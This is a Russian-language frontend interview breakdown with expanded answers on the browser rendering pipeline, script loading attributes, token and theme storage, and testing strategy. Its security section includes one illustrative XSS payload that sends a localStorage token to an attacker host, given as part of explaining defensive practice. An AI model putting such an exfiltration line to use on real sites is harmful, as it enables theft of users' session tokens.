Ответ собеседника: Правильный. 1. Парсинг HTML -> DOM. 2. Параллельно загрузка и парсинг CSS -> CSSOM. 3. Объединение DOM и CSSOM -> Render Tree. 4. Layout (Reflow) — расчёт геометрии. 5. Paint — отрисовка. 6. Composite — композиция слоёв (для анимаций, transform/opacity). Упомянул, что браузер оптимизирует через слои.

Правильный ответ:

Кандидат верно назвал основные этапы конвейера (pipeline). На уровне Senior/Tech Lead важно понимать не просто последовательность шагов, а механику блокировок, параллелизм, структуры данных и точки оптимизации. Ниже — углубленный разбор CRP с акцентом на архитектуру современных движков (Blink/WebKit/Gecko).


1. Парсинг HTML и построение DOM (HTML Parsing & DOM Construction)

  • Инкрементальность: Парсер работает потоково (streaming). Байты → Токенизатор (состояния: Data, Tag open, Tag name, Attr name/value) → Дерево токенов → DOM-ноды. Это позволяет рендерить страницу частями до полной загрузки HTML.
  • Preload Scanner (Сканер предзагрузки): Критично для производительности. Пока основной парсер блокируется на синхронном <script> (без async/defer), легковесный Preload Scanner "пробегает" вперед по сырому HTML и ставит в очередь загрузки ресурсы: <img src>, <link rel="stylesheet">, <script src>, <link rel="preload">, шрифты из preload, srcset, <video poster>. Без него браузер загружал бы ресурсы строго последовательно.
  • Спекулятивный парсинг (Speculative Parsing): В некоторых движках (Blink) при блокировке на скрипте запускается параллельный парсер для продолжения построения DOM подальше (только для безопасных тегов, без document.write).
  • document.write: Разрушает инкрементальность и работу Preload Scanner'а. В современной разработке запрещен (вызывает Warning в консоли, блокирует парсер, может стереть документ).
  • Парсинг фрагментов: innerHTML, DOMParser, Range.createContextualFragment используют тот же парсер, но без Preload Scanner'а.

2. Загрузка и парсинг CSS → CSSOM (CSS Object Model)

  • Блокирующий ресурс (Render Blocking): Браузер не начинает Layout/Paint, пока не построен CSSOM для всех <link rel="stylesheet"> (без media="print" и т.д.) и инлайн-стилей.
  • Неинкрементальность: В отличие от DOM, CSSOM строится атомарно — браузер должен скачать и распарсить весь файл целиком (каскадность, специфичность, @media, @supports требуют полного контекста).
  • @import — антипаттерн: Вызывает последовательную загрузку (парсер видит @import только после скачивания родительского CSS). Использовать <link rel="stylesheet"> (параллельная загрузка).
  • Media Queries: <link rel="stylesheet" media="print"> — не блокирует рендеринг экрана (Low priority). <link media="(max-width: 600px)"> — блокирует, если условие истинно.
  • Critical CSS Pattern: Инлайн критических стилей (Above-the-fold) в <head> + асинхронная загрузка остального (preload + onload или loadCSS). Разрывает блокировку рендеринга.

3. Построение Render Tree (Render Tree Construction)

  • Объединение DOM + CSSOM: Обход DOM-дерева. Для каждой видимой ноды вычисляется Computed Style (решенная каскадность, наследование, дефолты UA stylesheet).
  • Что исключается: Ноды с display: none (и их поддеревья) — полностью отсутствуют в Render Tree. Ноды с visibility: hidden / opacity: 0присутствуют, занимают место, но не рисуются.
  • Псевдоэлементы: ::before, ::after, ::marker, ::placeholder — создают анонимные боксы в Render Tree, которых нет в DOM.
  • Заменяемые элементы (Replaced Elements): <img>, <video>, <iframe>, <canvas>, <input> — их внутреннее устройство не парсится как DOM-дети, в Render Tree они — атомарные боксы с интринсическими размерами (intrinsic width/height/ratio).

4. Layout (Reflow / Layout) — Геометрия

  • Задача: Вычисление точной геометрии (x, y, width, height) для каждого бокса Render Tree относительно вьюпорта.
  • Алгоритм: Рекурсивный обход (обычно top-down для ширины, bottom-up для высоты). Форматирующие контексты (BFC, Flex, Grid, IFC) изолируют расчеты внутри себя.
  • Dirty Bit System: Движки помечают "грязные" поддеревья (Needs Layout). При изменении стиля/DOM помечается путь к корню. Layout выполняется пакетно перед Paint.
  • Force Synchronous Layout (Layout Thrashing): Чтение геометрических свойств (offsetTop, getBoundingClientRect(), scrollWidth, clientHeight) после записи в DOM в том же тике JS заставляет браузер выполнить Layout синхронно посередине скрипта.
    • Паттерн: Batch Read / Batch Write (читать всё → писать всё). Использовать requestAnimationFrame или requestPostAnimationFrame для разделения чтения/записи по кадрам.
  • Интринсические размеры: Для width: auto (блочные), Flex/Grid айтемов, картинок — расчет зависит от контента (min-content, max-content, fit-content).

5. Paint (Rasterization) — Рисование пикселей

  • Display List (Список отображения): Результат Layout — упорядоченный список команд рисования (DrawRect, DrawText, DrawImage, DrawPath, ClipRect). Это сериализуемое представление кадра.
  • Разбивка на слои (Layerization): Не все рисуется в один битмап. Движок разделяет страницу на Graphics Layers (Compositor Layers).
    • Причины создания слоя (Promotion): 3D transform (translateZ(0)), will-change: transform/opacity, <video>, <canvas>, opacity анимация (GPU), filter, backdrop-filter, overflow: scroll (иногда), корневой слой (Root Layer).
  • Растеризация (Rasterization): Преобразование Display List каждого слоя в текстуру (битмап) на GPU (Skia/Ganesh/Graphite) или CPU.
    • Tiling: Большие слои режутся на тайлы (обычно 256x256 или 512x512). Растеризуются только видимые + соседние тайлы (при скролле догружаются).
  • Paint Holding: Если шрифт не загружен (font-display: block / auto по умолчанию), браузер может задержать Paint текста (FOIT — Flash of Invisible Text) или нарисовать фоллбек (font-display: swap — FOUT).

6. Composite (Compositing) — Финальная сборка кадра

  • Compositor Thread (Impl Thread): Отдельный поток (не Main Thread). Получает текстуры слоев, их матрицы трансформации, скролл-оффсеты.
  • Действие: Умножает матрицы, накладывает текстуры друг на друга (z-index, stacking context), применяет скролл (просто сдвиг текстуры), отправляет итоговую текстуру на экран (Swap Buffers / Present).
  • GPU Acceleration: Вся математика композиции — на GPU. Очень дешево.
  • Пропуск Main Thread: Анимации transform и opacity на промоченных в слой элементах идут исключительно на Compositor Thread. Main Thread может быть занят тяжелым JS (Long Task 200мс), но анимация будет плавной 60/120fps.
  • Layer Explosion (Взрыв слоев): Слишком много слоев (will-change на сотнях элементов) → огромное потребление VRAM, накладные расходы на управление деревом слоев, сортировку Z-order. Может убить производительность хуже, чем репейнт.

7. Взаимодействие с JavaScript (Event Loop & Rendering Steps)

Согласно HTML Event Loop Spec (RequestAnimationFrame callback timing):

1. Run Microtasks (Promise.then, queueMicrotask)
2. Run RequestAnimationFrame callbacks (JS анимации, чтение/запись DOM -> Layout Thrashing risk)
3. **Style Calculation** (Recalc Style) -> **Layout** (Reflow)
4. **Paint** (Generate Display Lists, Rasterize if needed)
5. **Composite** (Compositor Thread takes over, draws frame)
6. Browser presents frame (VSync)
7. Repeat...
  • requestAnimationFrame (rAF): Лучшее место для визуальных изменений (перед Style/Layout). Гарантирует выполнение до следующего кадра.
  • requestIdleCallback / scheduler.yield: Для невизуальной тяжелой работы (парсинг JSON, расчеты), чтобы не блокировать Main Thread перед rAF.
  • IntersectionObserver / ResizeObserver: Колбэки срабатывают после Layout (перед Paint), безопасны для чтения геометрии.

8. Оптимизация CRP — Чек-лист для Production

ЭтапМетрика / ПроблемаРешение (Senior Level)
NetworkTTFB, Blocking CSS/JS103 Early Hints, preconnect, preload (high fetchpriority), Critical CSS Inline, defer/async/type=module.
ParsingLong Parsing Blockingcontent-visibility: auto + contain-intrinsic-size (пропуск рендера offscreen), избегать巨大的 DOM (>1500 узлов, глубина >32).
Style/LayoutForced Sync Layout, Layout ThrashingRead/Write Batching, getBoundingClientRect кэшировать, transform вместо left/top, contain: layout для изоляции.
PaintExpensive Paint Area, Complex Styleswill-change (осторожно), упрощение box-shadow/border-radius/filter на анимируемых элементах, промоция в слой.
CompositeLayer Explosion, Repaints on Scrollcontain: paint / content-visibility, избегать position: fixed на скроллящихся контейнерах (проблемы с компоновкой).
FontsFOIT/FOIT -> CLSfont-display: swap, preload woff2, size-adjust / ascent-override / descent-override (CSS Font Metrics Override) для точного совпадения фоллбека.
ImagesLCP, CLSfetchpriority="high" на LCP-изображении, явные width/height (Aspect Ratio mapping в CSS), loading="lazy" для below-fold, AVIF/WebP + <picture>.

Резюме: Кандидат знает "схему". Senior-разработчик знает, где ломается параллелизм (CSS blocks JS execution, JS blocks Parser, Layout Thrashing), как управлять приоритетами (Preload Scanner, fetchpriority, Early Hints), как работает GPU-конвейер (Layer Promotion, Tiling, Compositor Thread independence) и как измерять/фиксить через Web Vitals (LCP, CLS, INP) и Chrome DevTools (Performance, Rendering, Layers tabs).

Вопрос 26. На каком этапе выполняется JavaScript и как на это влияют атрибуты script

Таймкод: 01:05:55

Ответ собеседника: Правильный. Инлайн-скрипт блокирует парсинг синхронно. Внешний скрипт без атрибутов — тоже блокирует. async — загружается асинхронно, выполняется сразу загрузке (порядок не гарантирован). defer — загружается асинхронно, выполняется после построения DOM, в порядке появления. Уточнил: defer ждёт DOMContentLoaded.

Правильный ответ:

Кандидат верно описал базовую модель. На уровне Senior/Tech Lead важно понимать механику Event Loop, взаимодействие с CSSOM, нюансы модулей и влияние на Critical Rendering Path. Ниже — углубленный разбор.


1. Фундаментальное правило: JS блокирует HTML Parser

Парсер HTML (Main Thread) при встрече <script> (инлайн или внешний без атрибутов) останавливает построение DOM:

  1. Приостанавливает токенизацию HTML.
  2. (Для внешнего) Инициирует загрузку (или берет из кэша/Preload Scanner).
  3. Ждет CSSOM: Если перед скриптом есть незагруженные/неспарсенные <link rel="stylesheet">, выполнение JS ждет готовности CSSOM. JS может запрашивать getComputedStyle, offsetWidth — им нужны готовые стили.
  4. Парсит и выполняет JS (компиляция -> выполнение).
  5. Возобновляет HTML Parser.

Последствие: Длинный синхронный скрипт в <head> без defer/async = белый экран до его завершения (блокирует FCP/LCP).


2. Детальная классификация атрибутов

АтрибутЗагрузкаВыполнениеБлокирует Parser?ПорядокDOMContentLoadedCSSOM WaitТипичный Use Case
Нет (Sync)Блокирующая (в порядке парсинга)Синхронно, сразуДаГарантированЖдетДаКритичный инлайн (CSP nonce, inline config), маленькие скрипты в конце <body> (устарело).
asyncАсинхронная (параллельно, высокий приоритет)Сразу после загрузки (прерывает парсер)Да (в момент выполнения)Не гарантирован (кто быстрее загрузился)Не ждет / Не блокируетДа (если CSSOM не готов — ждет перед выполнением)Независимые виджеты: аналитика (GA, Metrika), чаты, реклама, A/B тесты. Не зависит от DOM/других скриптов.
deferАсинхронная (параллельно, высокий приоритет)После парсинга HTML, перед DOMContentLoadedНетГарантирован (по порядку в HTML)Ждет выполнения всех deferДа (ждет CSSOM перед выполнением очереди)Основной паттерн для App Bundle (<script defer src="app.js"> в <head>). Зависит от полного DOM.
type="module"Асинхронная (CORS, параллельно)После парсинга HTML, перед DOMContentLoadedНетГарантирован (по порядку, с учетом графа зависимостей)ЖдетДаСовременный стандарт. Неявный defer. Строгий режим по умолчанию.
module + asyncАсинхроннаяСразу после загрузки (графа)Да (в момент выполнения)По готовности графаНе ждетДаДинамические фичи, не блокирующие основной рендеринг.

3. Ключевые нюансы, упущенные в базовом ответе

А. CSSOM блокирует выполнение JS (Script Blocking on CSS) > Правило: Браузер не выполнит ни один скрипт (inline, async, defer, module), пока не будут загружены и распарсены все предыдущие в DOM блокирующие стили (<link rel="stylesheet"> без media="print" и т.д.).

  • Это касается и async скриптов: они загружаются параллельно, но перед выполнением встают в очередь на ожидание CSSOM.
  • Оптимизация: Критичный CSS инлайнить в <head>, некритичный выносить (media="print" onload...), чтобы не задерживать выполнение defer/module бандлов.

Б. defer и DOMContentLoaded — строгая последовательность Спецификация (HTML Living Standard) определяет порядок в DOMContentLoaded:

  1. Парсер доходит до </html> (DOM готов).
  2. Выполняются все отложенные скрипты (defer, module) в строгом порядке появления.
  3. Срабатывает событие DOMContentLoaded.
  • Если defer скрипт делает document.write — он вставляется в поток парсера (legacy, избегать).
  • Ошибка в одном defer скрипте не останавливает выполнение последующих defer (в отличие от синхронных), но ломает цепочку промисов внутри модуля.

В. ES Modules (type="module") — неявный defer + граф зависимостей

  • Поведение по умолчанию === defer (выполнение после парсинга HTML, в порядке).
  • Параллельная загрузка графа: Браузер парсит import/export до выполнения (статический анализ) и качает весь граф зависимостей параллельно.
  • CORS: Модули всегда загружаются с CORS (crossorigin="anonymous" по умолчанию). Сервер должен отдавать Access-Control-Allow-Origin.
  • MIME Type: Сервер обязан отдавать Content-Type: application/javascript (или text/javascript), иначе браузер заблокирует выполнение (MIME type mismatch).
  • Module Map: Кэширование по URL. Один и тот же модуль загружен/выполнен один раз на страницу.

Г. Инлайн-модули (<script type="module">)

  • Ведут себя как defer: ждут парсинг HTML, выполняются в порядке появления среди других defer/module.
  • Могут использовать import.meta.url, top-level await (блокирует выполнение своего скрипта и последующих defer/module до разрешения, но не блокирует парсер).

Д. async на инлайн-скрипте — не работает <script async>console.log(1)</script> — атрибут игнорируется, выполняется синхронно.

  • Исключение: <script async type="module"> — работает (загружает зависимости асинхронно, выполняет по готовности).

Е. Динамические скрипты (document.createElement('script'))

  • По умолчанию async: true (поведение IE/legacy).
  • Современный стандарт: script.async = false -> поведение как defer (выполнение в порядке добавления, после парсинга, если парсер еще работает).
  • Используется для Lazy Loading чанков (Code Splitting): import('./chunk.js') создает динамический <script type="module"> (async по умолчанию).

4. Взаимодействие с Preload Scanner и Приоритетами

  • Preload Scanner видит src в <script defer>, <script async>, <script type="module"> и ставит их в очередь загрузки с высоким приоритетом (High/Highest) параллельно с парсингом HTML.
  • fetchpriority="high" / "low" (Chrome 101+): Явное управление приоритетом загрузки.
    • <script defer fetchpriority="high"> — критичный бандл приложения.
    • <script async fetchpriority="low"> — аналитика.
  • preload vs defer:
    • <link rel="preload" as="script" href="app.js"> + <script defer src="app.js"> — предзагрузка максимально рано (даже до парсинга HTML тега script), выполнение — стандартное defer. Полезно, если тег скрипта глубоко в теле или добавляется динамически.

5. Паттерны загрузки в Production (Senior Best Practices)

Паттерн 1: Modern Standard (Рекомендуемый)

<head>
<!-- Критичный CSS инлайн или preload -->
<style>/* Critical CSS */</style>
<link rel="preload" as="style" href="non-critical.css" onload="this.rel='stylesheet'">

<!-- Основной бандл приложения: модуль, в head, не блокирует парсер, ждет DOM -->
<script type="module" src="/app.js" fetchpriority="high"></script>

<!-- Внешние независимые виджеты: async, низкий приоритет -->
<script async src="https://analytics.example.com/tracker.js" fetchpriority="low"></script>
</head>
<body>...</body>
  • Парсер не блокируется.
  • app.js качается максимально рано (Preload Scanner + High priority).
  • Стили не блокируют выполнение app.js (Critical CSS инлайн).
  • Аналитика не блокирует ничего.

Паттерн 2: Module/NoModule Fallback (Legacy Support)

<script type="module" src="/modern.js"></script>
<script nomodule src="/legacy.bundle.js" defer></script>
  • Современные браузеры качают modern.js (module), игнорируют nomodule.
  • Старые (IE11) качают legacy.bundle.js (defer), игнорируют type="module".

Паттерн 3: Инлайн-конфигурация до модуля

<script>window.APP_CONFIG = { apiUrl: '/api', featureFlags: {} };</script>
<script type="module" src="/app.js"></script>
  • Инлайн выполняется синхронно при парсинге (блокирует парсер на микросекунды).
  • app.js (module/defer) выполнится позже и увидит window.APP_CONFIG.

6. Диагностика в DevTools (Performance Tab)

  • Main Thread Track: Ищите желтые блоки Parse HTML, прерываемые оранжевыми Script Evaluation / Compile Script.
  • Timing: Script Evaluation > 50-100мс = Long Task (блокирует INP/TTI). Решение: Code Splitting, Web Workers (Partytown для third-party), isInputPending() / scheduler.yield().
  • Network Tab -> Priority: Проверяйте, что критичные скрипты имеют High/Highest, third-party — Low.
  • Console Warnings: "A preload for '...' is found, but is not used..." — несоответствие as="script" и реального типа, или preload без последующего тега.

Резюме: Кандидат знает синтаксис. Senior понимает конкуренцию за Main Thread: как async/defer/module взаимодействуют с CSSOM, Preload Scanner, Event Loop и Network Stack. Ключевой навык — проектировать <head> так, чтобы разблокировать парсер (FCP/LCP), параллельно качать бандлы (TTFB -> Download) и гарантировать порядок инициализации приложения (defer/module queue) без блокировок на стилях.

Вопрос 27. Где хранить access/refresh токены, тему сайта и отличия localStorage, sessionStorage, cookies

Таймкод: 01:11:44

Ответ собеседника: Правильный. Access/refresh токены — в httpOnly cookies (безопаснее) или localStorage (если нет httpOnly). Тема — localStorage (переживает перезагрузку). sessionStorage — только вкладка, не переживает закрытие. localStorage — навсегда. Cookies — автоматическая отправка с запросами, доступны серверу, есть флаги HttpOnly, Secure, SameSite. Правильно разделил по кейсам.

Правильный ответ:

Кандидат верно разделил хранилища по сценариям использования. На уровне Senior/Tech Lead важно углубиться в векторов атак (XSS vs CSRF), архитектуру токенов (Access vs Refresh), механику SameSite, Subresource Integrity и стратегии ротации/отзыва токенов. Ниже — расширенный разбор с акцентом на безопасность и операционную зрелость.


1. Access Token / Refresh Token: Где и как хранить (Threat Modeling)

Выбор хранилища — это выбор между рисками XSS (Cross-Site Scripting) и CSRF (Cross-Site Request Forgery).

ХранилищеУязвимостьЗащитаКогда применять
httpOnly + Secure + SameSite=Strict/Lax CookieCSRF (авто-отправка)SameSite (современный стандарт), CSRF-токены (legacy), Origin/Referer проверкаGold Standard для Refresh Token. Access Token — короткоживущий (5-15 мин), в памяти.
localStorage / sessionStorageXSS (доступ через document.*)CSP (Content Security Policy), Trusted Types, санитизация, короткий TTL Access TokenЕсли бэкенд не может ставить куки (cross-domain без shared domain, serverless functions, legacy API). Требует строгого CSP.
Memory (JS Variable / Closure / React Context / Pinia Store)XSS (кража из памяти возможна, но сложнее автоматизировать)Нет автоматической отправки, не виден в DevTools Application tabBest Practice для Access Token (Short-lived). Не выживает при перезагрузке вкладки — фича, не баг (требует Silent Refresh).

Архитектура "Split Token Pattern" (Рекомендуемая Senior-ом):

  1. Access Token (JWT, 5-15 мин): Хранится только в памяти (переменная модуля, store). Используется в Authorization: Bearer <token> заголовке. Не попадает в куки/локалсторедж.
    • Плюс: XSS не дает долгосрочного доступа, токен умирает при закрытии вкладки/рефреше.
    • Минус: Нужен механизм обновления без перелогина пользователя.
  2. Refresh Token (Opaque string / JWT, 7-30 дней): Хранится в httpOnly Secure SameSite=Strict Cookie (на поддомене auth.example.com).
    • Плюс: JS не имеет доступа (защита от XSS кражи долгоживущего токена). SameSite=Strict защищает от CSRF на современных браузерах.
    • Реализация Silent Refresh: При старте приложения (или 401 ошибке) -> POST /auth/refresh (with credentials) -> новый Access Token в память -> ретрай исходного запроса.

Критичные флаги Cookies (Обязательно к простановке):

Set-Cookie: refresh_token=xyz; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Domain=.example.com; Max-Age=2592000
  • HttpOnly — недоступен document.cookie (защита от XSS).
  • Secure — только HTTPS (защита от MITM).
  • SameSite=Strict — не отправляется при cross-site переходах (клик по ссылке из почты/другого сайта). Lax допустим для GET-навигаций, но Strict безопаснее для токенов.
  • Path=/auth/refresh — кука улетает только на эндпоинт рефреша, не на все API (принцип минимальных привилегий).
  • __Host- префикс (опционально) — требует Secure, Path=/, без Domain (защита от поддоменной подмены).

2. Access Token в памяти: Детали реализации

// Пример паттерна (TypeScript)
let accessToken: string | null = null;
let refreshPromise: Promise<string> | null = null;

export const getAccessToken = () => accessToken;

export const setAccessToken = (token: string) => { accessToken = token; };

// Interceptor (Axios / Fetch / Ky)
api.interceptors.response.use(
response => response,
async error => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;

// Дедупликация параллельных 401
if (!refreshPromise) {
refreshPromise = fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // Важно: отправляет httpOnly куку
}).then(res => {
if (!res.ok) throw new Error('Refresh failed');
return res.json();
}).then(data => {
accessToken = data.accessToken;
return accessToken;
}).finally(() => { refreshPromise = null; });
}

const newToken = await refreshPromise;
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return api(originalRequest);
}
return Promise.reject(error);
}
);

Важные нюансы:

  • Race Condition: Несколько параллельных запросов получают 401 -> должен быть один запрос на рефреш (промис-кэш refreshPromise).
  • Logout / Revocation: При логауте -> POST /auth/logout (очищает куку сервером Set-Cookie: ... Max-Age=0) + accessToken = null на клиенте.
  • Token Rotation (Refresh Token Rotation): Сервер выдает новый Refresh Token при каждом обновлении (инвалидирует старый). Детектит кражу (Reuse Detection) — если старый токен использован повторно -> инвалидировать всю цепочку сессий пользователя.

3. Тема сайта (Theme) и пользовательские настройки

  • localStorage — правильный выбор для персистентных пользовательских предпочтений (тема, язык, настройки UI).
  • Критический UX: FOUC (Flash of Unstyled Content) / FART (Flash of Inaccurate Color Theme).
    • Проблема: React/Vue гидратируются после чтения localStorage -> мигание дефолтной темой.
    • Решение: Inline Script в <head> (до рендера корневого элемента).
    <head>
    <script>
    (function() {
    try {
    var theme = localStorage.getItem('theme');
    var systemDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
    if (theme === 'dark' || (!theme && systemDark)) {
    document.documentElement.classList.add('dark');
    } else {
    document.documentElement.classList.remove('dark');
    }
    } catch (e) {} // Safari Private Mode может кидать ошибку на localStorage
    })();
    </script>
    </head>
    • Это гарантирует правильный CSS до первого кадра (FCP).

4. Детальное сравнение хранилищ (Таблица для Senior-интервью)

ХарактеристикаCookieslocalStoragesessionStorageMemory (JS Heap)
Емкость~4 KB (на куку, всего ~300)~5-10 MB (на origin)~5-10 MB (на вкладку)Ограничено RAM вкладки
Жизненный циклExpires / Max-AgeЯвное удаление / clear()Закрытие вкладки (Tab)Перезагрузка страницы / Навигация
ДоступностьВсе вкладки OriginВсе вкладки OriginТолько текущая вкладкаТолько текущий контекст JS
Отправка на серверАвтоматически (с каждым запросом)Никогда (только JS)Никогда (только JS)Никогда (только JS)
Доступ с сервераSet-Cookie / Cookie HeaderНетНетНет
Subdomain SharingDomain=.example.com (настраиваемо)document.domain (устарело) / postMessageНетpostMessage / BroadcastChannel
СинхронностьСинхронно (чтение/запись)Синхронно (блокирует Main Thread)СинхронноСинхронно
Защита от XSSHttpOnly (да)Нет (доступен document)НетЧастично (нет прямого API)
Защита от CSRFSameSite, CSRF-TokensДа (не отправляется автоматически)ДаДа
Private/Incognito ModeРаботает (обычно)Может кидать ошибку (Safari) / ЛимитыМожет кидать ошибкуРаботает

Performance Note: localStorage/sessionStorageсинхронные блокирующие API. Чтение больших объемов (>100KB) на старте приложения задерживает TTI. Для больших клиентских кэшей — IndexedDB (асинхронная, транзакционная, поддержка индексов, курсоров).


5. Дополнительные векторы атак и защиты

  • XSS через localStorage: Если атакующий внедрил скрипт -> fetch('https://evil.com/steal?data=' + localStorage.getItem('token')).
    • Защита: CSP script-src 'self' 'nonce-...' (запрет inline скриптов), Trusted Types (запрет innerHTML/eval sinks), короткий TTL Access Token.
  • CSRF через Cookies: Авто-отправка кук при переходе по ссылке/форме.
    • Защита: SameSite=Strict/Lax (современный стандарт, покрывает 95%+ пользователей). Для старых браузеров / сложных кейсов — Double Submit Cookie Pattern или Custom Header (X-Requested-With) + проверка Origin.
  • Cookie Prefixes: __Secure- (требует Secure), __Host- (требует Secure, Path=/, нет Domain — защита от "Cookie Tossing" атаки поддоменов).
  • Storage Partitioning (CHIPS / Partitioned Cookies): Set-Cookie: ...; Partitioned; — изолирует куку в контексте топ-левел сайта (Third-Party Cookie Replacement). Актуально для виджетов/ифреймов.

6. Чек-лист Security Review для хранения токенов (Senior Checklist)

  1. Access Token — в памяти (JS переменная), TTL ≤ 15 мин.
  2. Refresh Token — в httpOnly Secure SameSite=Strict Cookie, Path ограничен эндпоинтом /refresh.
  3. Реализован Silent Refresh с дедупликацией запросов (refreshPromise).
  4. Сервер поддерживает Refresh Token Rotation + Reuse Detection.
  5. CSP настроен: script-src, object-src 'none', base-uri 'self', form-action 'self'.
  6. Trusted Types включены (или полифилл) для предотвращения DOM XSS.
  7. Тема/настройки — в localStorage с inline-скриптом в <head> для предотвращения FOUC.
  8. Нет чувствительных данных (PII, токены) в localStorage/sessionStorage в открытом виде.
  9. Обработка QuotaExceededError / SecurityError (Private Mode Safari) в try/catch при работе со Storage API.
  10. Для кросс-доменной архитектуры — единый auth.example.com (SSO) с SameSite=None; Secure (если нужно в ифрейме) или Redirect-based Flow (PKCE).

Резюме: Кандидат знает базовое разделение. Senior мышит в терминах Threat Modeling: "Что хуже — утечка токена через XSS или CSRF-атака?". Современный стандарт — Access Token в памяти + Refresh Token в httpOnly SameSite=Strict Cookie. Это минимизирует поверхность атаки для самого ценного актива (долгоживущий доступ) и делает короткоживущий токен недоступным для автоматической эксфильтрации. Обязательным сопутствующим элементом является CSP + Trusted Types как вторая линия обороны от XSS.

Вопрос 28. Какие виды тестов знаешь и что использовал на практике

Таймкод: 01:14:38

Ответ собеседника: Правильный. Юнит-тесты (хелперы, функции), снэпшот-тесты компонентов. Упомянул визуальные регрессионные тесты (не снэпшоты DOM, а скриншоты) на пет-проекте. Интеграционных и e2e (Selenium/Cypress) на работе не писал — автотестеры пишут мало из-за частых изменений.

Правильный ответ:

Кандидат перечислил основные уровни пирамиды тестирования и честно описал производственную реальность (разделение ответственности с QA, хрупкость E2E). На уровне Senior/Tech Lead ожидается понимание стратегий тестирования (Testing Trophy / Honeycomb), инструментария (Vitest, Playwright, Storybook), подходов к изоляции (MSW, Testcontainers) и метрик качества (Coverage, Mutation Testing). Ниже — расширенный разбор.


1. Классификация тестов и их место в CI/CD (Testing Trophy)

Современный подход (Kent C. Dodds) смещает фокус с "Пирамиды" (много юнитов, мало E2E) к Трофею: Integration Tests — основной объем, Unit — для сложной логики, E2E — для критических пользовательских путей.

УровеньЦельИнструменты (2024 Standard)СкоростьИзоляцияЧто тестируем
Static AnalysisТипы, линт, форматTypeScript (strict), ESLint, Prettier, StylelintМгновенноПолнаяКонтракты, синтаксис, доступность, best practices
Unit (Logic)Чистые функции, утилиты, хуки, сторыVitest / Jest, @testing-library/react (renderHook)Очень быстроПолная (моки зависимостей)Алгоритмы, валидация, селекторы, редюсеры, утилиты дат/денег
Component / IntegrationВзаимодействие частей (Компонент + Хук + API)Vitest + Testing Library + MSW (Mock Service Worker)БыстроЧастичная (мок HTTP, не DOM)Рендер, состояния (loading/error/success), события, формы, роутинг
Visual RegressionВизуальная стабильность UIStorybook + Chromatic / Playwright + pixelmatch / LokiСреднеРеальный браузер (headless)Дизайн-система, верстка, темная тема, респонсив, анимации (off)
E2E / ContractКритические пользовательские сценарииPlaywright (Chrome/Firefox/WebKit, Mobile)МедленноНулевая (реальный бэкенд / Staging)Авторизация, оплата, онбординг, ключевые флоу

2. Unit-тесты: Что, Как и Зачем (Best Practices)

Что тестируем (Public API, не имплементацию):

  • Pure Functions: Форматтеры, парсеры, валидаторы, хелперы работы с коллекциями.
  • Business Logic Hooks: useFilter, usePagination, useAuth (логика, не рендер).
  • State Management: Редюсеры (Redux/Zustand/Pinia), экшены, селекторы.
  • Complex Components Logic: Кастомные хуки внутри компонентов (через renderHook).

Инструментарий: Vitest (современный стандарт вместо Jest)

  • Нативная поддержка ESM, TypeScript, Vite config.
  • vi.mock, vi.fn, vi.spyOn — мощный API для моков.
  • vi.useFakeTimers() — контроль времени (дебаунс, троттл, анимации).

Паттерн AAA (Arrange-Act-Assert) + Testing Library Queries:

// vitest + @testing-library/react
import { render, screen, fireEvent } from '@testing-library/react';
import { describe, it, expect, vi } from 'vitest';
import { UserProfile } from './UserProfile';
import { userApi } from '@/api/userApi';

// Мок модуля (Vitest автоматически хоистит vi.mock)
vi.mock('@/api/userApi');

describe('UserProfile', () => {
it('renders user name after successful load', async () => {
// Arrange
const mockUser = { id: 1, name: 'Alice', role: 'admin' };
userApi.getUser.mockResolvedValue(mockUser); // MSW лучше для интеграции, тут unit мок

// Act
render(<UserProfile userId={1} />);

// Assert (Loading state)
expect(screen.getByText('Loading...')).toBeInTheDocument();

// Act (wait for async)
await screen.findByText('Alice'); // Автоматически ждет появления

// Assert (Final state)
expect(screen.getByText('Alice')).toBeInTheDocument();
expect(screen.getByText('Role: admin')).toBeInTheDocument();
expect(userApi.getUser).toHaveBeenCalledOnceWith(1);
});

it('shows error message on API failure', async () => {
userApi.getUser.mockRejectedValue(new Error('Network Error'));
render(<UserProfile userId={1} />);
await screen.findByText(/error/i);
expect(screen.getByText(/network error/i)).toBeInTheDocument();
});
});

Важно: Избегайте snapshot testing (Jest/Vitest snapshots) для компонентов — они ломаются при любом изменении, создают шум в PR, и разработчики делают u (update) не глядя. Используйте Visual Regression для UI и точечные ассерты для логики.


3. Интеграционные тесты (Component + API + Router) — "Sweet Spot"

Это главный рабочий конь Senior-разработчика. Тестируем "Срезы" функционала.

Ключевая технология: MSW (Mock Service Worker)

  • Перехватывает запросы на уровне Service Worker (браузер) или node:http (Node/Vitest).
  • Не мокает fetch/axios глобально — работает как реальный сервер.
  • Позволяет тестировать ошибки сети, задержки, стриминг, куки, заголовки.
  • Одни и те же хендлеры (handlers) используются в Storybook, Vitest, Playwright (dev/staging).
// setupTests.ts (vitest global setup)
import { setupServer } from 'msw/node';
import { handlers } from './mocks/handlers';
export const server = setupServer(...handlers);

// vitest.config.ts
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
globals: true,
environment: 'jsdom',
setupFiles: ['./setupTests.ts'],
},
});

// handlers.ts
import { http, HttpResponse } from 'msw';
export const handlers = [
http.get('/api/users/:id', ({ params }) => {
if (params.id === '404') return new HttpResponse(null, { status: 404 });
return HttpResponse.json({ id: params.id, name: 'John' });
}),
];

// Test: Интеграция Компонента + Роутера + АПИ
import { render, screen, waitFor } from '@testing-library/react';
import { BrowserRouter } from 'react-router-dom';
import { UserPage } from './UserPage';
import { server } from './setupTests';

test('navigates and loads user', async () => {
render(
<BrowserRouter>
<UserPage />
</BrowserRouter>
);

// Имитация навигации (или прямая ссылка)
// Проверяем интеграцию с роутером
await waitFor(() => expect(screen.getByText('John')).toBeInTheDocument());
});

4. Визуальные регрессионные тесты (Visual Regression Testing)

Кандидат упомянул "скриншоты на пет-проекте". В продакшене это обязательно для Design System / UI Kit.

Архитектура:

  1. Storybook — каталог компонентов в изоляции (Stories = тест-кейсы: Default, Loading, Error, Dark, RTL, LongText).
  2. Chromatic / Percy / Playwright — CI шаг: рендер стори в браузере -> скриншот -> сравнение с базой (pixel-by-pixel или SSIM).
